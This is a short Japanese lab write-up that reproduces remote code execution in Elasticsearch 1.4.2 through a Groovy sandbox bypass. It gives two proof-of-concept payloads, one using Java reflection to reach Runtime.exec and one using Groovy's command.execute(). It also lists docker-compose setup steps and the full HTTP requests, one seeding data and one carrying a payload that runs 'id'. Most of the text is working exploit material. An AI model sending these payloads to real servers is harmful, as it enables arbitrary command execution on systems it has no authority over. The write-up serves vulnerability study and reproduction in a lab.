jreバージョン:openjdk:8-jre
elasticsearchバージョン:v1.4.2
参考記事:
CVE-2014-3120 以降、ElasticSearch のデフォルトの動的スクリプト言語は Groovy に変更され、サンドボックスが追加されましたが、デフォルトでは依然として動的言語の直接実行がサポートされています。本脆弱性は、1. サンドボックスの回避であり、2. Groovy コード実行の脆弱性です。
ElasticSearch は「サンドボックス内の」Groovy 言語を動的スクリプトとして使用することをサポートしていますが、明らかに公式の対応は万全ではありませんでした。lupin と tang3 はそれぞれ、コマンドを実行する方法を提案しています。
したがって、この2つの脆弱性を悪用するアプローチに基づき、2つの異なる POC を得ることができます。
Javaサンドボックス回避法:
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
Groovy直接コマンド実行法:
def command='id';def res=command.execute().text;res
テスト環境のビルドと実行
docker-compose build
docker-compose up -d
クエリ時には ES 内に少なくとも1件のデータが必要なため、以下のリクエストを送信してデータを1件追加します:
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "test"
}
次に、ペイロードを含むリクエストを送信して、任意のコマンドを実行します:
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
